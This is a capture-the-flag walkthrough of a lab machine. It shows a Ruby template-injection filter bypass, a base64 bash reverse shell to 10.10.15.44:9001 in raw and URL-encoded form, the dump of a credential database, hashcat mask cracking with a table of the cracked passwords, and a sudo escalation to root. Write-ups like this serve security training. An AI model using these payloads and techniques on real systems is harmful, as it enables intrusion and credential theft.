
Reconnaissance
Nmap
Nmap shows us that this box has SSH and a webserver running on port 80.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Website
The home page doesn’t show us much, the About Us
gave me some information about the people running the team, noted down the names.
Looking at the footer, we can see it is powered by WEBrick 1.7.0
, which is a Ruby webserver.
Moving to the Calculate your weighted grade
tab, we see a simple form where we can calculate our grade.
This form has some restrictions:
- Grade and Weight must be 0-100
- The sum of all weights must be 100
- All 5 grades must be filled in
Let’s try it out and intercept the request.
I doubt these results are stored inside of a database, so template injection is next on my mind seeing as they show us the results.
When trying some basic payloads, I get Malicious input blocked
meaning they have some kind of filter in place.
Exploitation
Shell as Susan
Looking in the old toolbox, there’s a trick where you put an expected answer, %0A
then the payload. This is to bypass the filter.
I did have to substitute every +
with %2b
in the base64 encoded reverse shell to get it to work.
$ echo "bash -i >& /dev/tcp/10.10.15.44/9001 0>&1" | base64 | sed 's/\+/\%2b/g'
So when it’s put in temlplate format, it looks like this:
<%=system("echo YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNS40NC85MDAxIDA%2bJjEK | base64 -d | bash");%>
Now we need to URL encode
this payload, append a “category” and %0A
and put it in the Grade
field.
category1=A%0A<%25%3dsystem("echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNS40NC85MDAxIDA%2bJjEK+|+base64+-d+|+bash");%25>&grade1=1&weight1=20
- The first
A
is just the category name, this can be anything valid %0A
is the newline character- The payload is URL encoded
- The rest is just the normal form data
And we’re in!
$ python3 -m pwncat -lp 9001
[12:25:03] Welcome to pwncat 🐈!
[12:25:11] received connection from 10.10.11.253:34782
[12:25:12] 10.10.11.253:34782: registered new host w/ db
(local) pwncat$
(remote) susan@perfection:/home/susan/ruby_app$ _
Mails and Database
Running LinPeas shows that we’re in the sudo
group (we’d need a password), and it does show that we have “mail”
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root susan 625 May 14 2023 /var/mail/susan
-rw-r----- 1 root susan 33 Jun 5 04:01 /home/susan/user.txt
Let’s have a look
(remote) susan@perfection:/home/susan$ cat /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students
in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
- Tina, your delightful student
This tells us a few things:
- It’s for a password in the database (which we have to find)
- The password format is
{firstname}_{firstname backwards}_{1-9 digits}
(In hindsight, they all have 9 digits)
(remote) susan@perfection:/home/susan$ find . -name *.db
./Migration/pupilpath_credentials.db
fair enough. Let’s dump it and crack the password.
(remote) susan@perfection:/home/susan$ sqlite3 ./Migration/pupilpath_credentials.db .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
);
INSERT INTO users VALUES(1,'Susan Miller','abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f');
INSERT INTO users VALUES(2,'Tina Smith','dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57');
INSERT INTO users VALUES(3,'Harry Tyler','d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393');
INSERT INTO users VALUES(4,'David Lawrence','ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a');
INSERT INTO users VALUES(5,'Stephen Locke','154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8');
COMMIT;
Cracking Hashes
Seeing as we’re logged into the box as Susan, let’s try to brute force her password.
$ hashcat -a 3 -m 1400 dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57 "tina_anit_?d?d?d?d?d?d?d?d?d"
If you’re wondering what passwords are:
Name | Password |
---|---|
Susan | susan_nasus_413759210 |
Tina | tina_anit_916066225 |
Harry | harry_yrrah_782072564 |
David | david_divad_274797280 |
Stephen | stephen_nehpets_609653958 |
But as stated earlier, only Susans password is useful to us. Let’s see what she can run with sudo.
(remote) susan@perfection:/home/susan$ sudo -l
[sudo] password for susan:
Matching Defaults entries for susan on perfection:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User susan may run the following commands on perfection:
(ALL : ALL) ALL
Okay then…
Shell as root
(remote) susan@perfection:/home/susan$ sudo su
(remote) root@perfection:/home/susan# id
uid=0(root) gid=0(root) groups=0(root)
(remote) root@perfection:/home/susan# cat /root/root.txt
And we’ve got the root flag. GG!